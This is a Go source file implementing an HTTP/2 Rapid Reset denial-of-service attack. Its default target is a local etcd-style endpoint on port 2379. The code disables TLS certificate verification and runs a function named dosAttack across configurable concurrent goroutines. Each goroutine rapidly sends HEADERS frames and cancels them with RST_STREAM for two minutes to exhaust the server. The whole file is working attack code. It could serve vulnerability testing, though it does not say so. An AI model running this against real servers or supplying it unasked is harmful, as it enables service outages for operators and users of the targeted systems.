main.go

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"net/url"
	"sync"
	"sync/atomic"
	"time"

	"golang.org/x/net/http2"
	"golang.org/x/net/http2/hpack"
)

type options struct {
	serverURLStr     string
	concurrencyLimit int
	delayTime        time.Duration
}

var globalOption options

var streamCounter uint32 = 1

// Accept command line arguments
func init() {
	flag.StringVar(&globalOption.serverURLStr, "url", "https://127.0.0.1:2379/v3", "Server URL")
	flag.IntVar(&globalOption.concurrencyLimit, "con", 1, "Maximum number of concurrent worker routines")
	flag.DurationVar(&globalOption.delayTime, "delay", 200*time.Microsecond, "Delay between sending HEADERS and RST_STREAM")
	flag.Parse()
}

// HPACK headers, write HEADERS to server, and send RST_STREAM
func sendRequest(framer *http2.Framer, serverURL *url.URL, path string, delay time.Duration) {
	var headerBlock bytes.Buffer

	// Encode headers
	encoder := hpack.NewEncoder(&headerBlock)

	encoder.WriteField(hpack.HeaderField{Name: ":method", Value: "GET"})
	encoder.WriteField(hpack.HeaderField{Name: ":path", Value: path})
	encoder.WriteField(hpack.HeaderField{Name: ":scheme", Value: "https"})
	encoder.WriteField(hpack.HeaderField{Name: ":authority", Value: serverURL.Host})

	streamID := atomic.AddUint32(&streamCounter, 2) // Increment streamCounter and allocate stream ID in units of two to ensure stream IDs are odd numbered per RFC 9113
	err := framer.WriteHeaders(http2.HeadersFrameParam{
		StreamID:      streamID,
		BlockFragment: headerBlock.Bytes(),
		EndStream:     true,
		EndHeaders:    true,
	})
	if err != nil {
		fmt.Printf("[%d] Failed to send HEADERS: %s\n", streamID, err)
	}

	time.Sleep(delay)

	err = framer.WriteRSTStream(streamID, http2.ErrCodeCancel)
	if err != nil {
		fmt.Printf("[%d] Failed to send RST_STREAM: %s\n", streamID, err)
	}
}
func main() {
	serverURL, err := url.Parse(globalOption.serverURLStr)
	if err != nil {
		log.Fatalf("Failed to parse URL: %v", err)
	}
	log.Printf("host: %s, path: %s\n", serverURL.Host, serverURL.Path)
	log.Printf("delay: %s\n", globalOption.delayTime)

	stopC := make(chan struct{})

	var wg sync.WaitGroup
	wg.Add(globalOption.concurrencyLimit)

	fmt.Printf("Starting %d goroutines.\n", globalOption.concurrencyLimit)
	for i := 0; i < globalOption.concurrencyLimit; i++ {
		go func() {
			defer wg.Done()
			dosAttack(serverURL, globalOption.delayTime, stopC)
		}()
	}

	fmt.Println("Keep running for 2 minutes.")
	select {
	case <-time.After(2 * time.Minute):
		close(stopC)
	}

	fmt.Println("Waiting for all goroutines to complete.")
	wg.Wait()
	fmt.Println("All goroutines completed.")
}

func dosAttack(srvUrl *url.URL, delay time.Duration, stopC chan struct{}) {
	// Establish TLS with server and ignore certificate
	tlsConfig := &tls.Config{
		InsecureSkipVerify: true,
		NextProtos:         []string{"h2"},
	}

	conn, err := tls.Dial("tcp", srvUrl.Host, tlsConfig)
	if err != nil {
		log.Fatalf("Failed to dial: %s", err)
	}

	_, err = conn.Write([]byte("PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"))
	if err != nil {
		log.Fatalf("Failed to send client preface: %s", err)
	}

	// Initialize HTTP2 framer and mutex
	framer := http2.NewFramer(conn, conn)

	// Send initial SETTINGS frame
	if err := framer.WriteSettings(); err != nil {
		log.Fatalf("Failed to write settings: %s", err)
	}

	// Wait for SETTINGS frame from server
	for {
		frame, err := framer.ReadFrame()
		if err != nil {
			fmt.Printf("Failed to read frame: %s", err)
		}
		if _, ok := frame.(*http2.SettingsFrame); ok {
			break
		}
	}

	// Read and count received frames, print to stdout
	go func() {
		for {
			_, err := framer.ReadFrame()
			if err != nil {
				if err == io.EOF {
					return
				}
				fmt.Printf("Failed to read frame: %s", err)
			}
		}
	}()

	path := srvUrl.Path
	if path == "" {
		path = "/"
	}

	// Send requests

	for {
		select {
		case <-stopC:
			return
		default:
		}
		sendRequest(framer, srvUrl, path, delay)
	}
}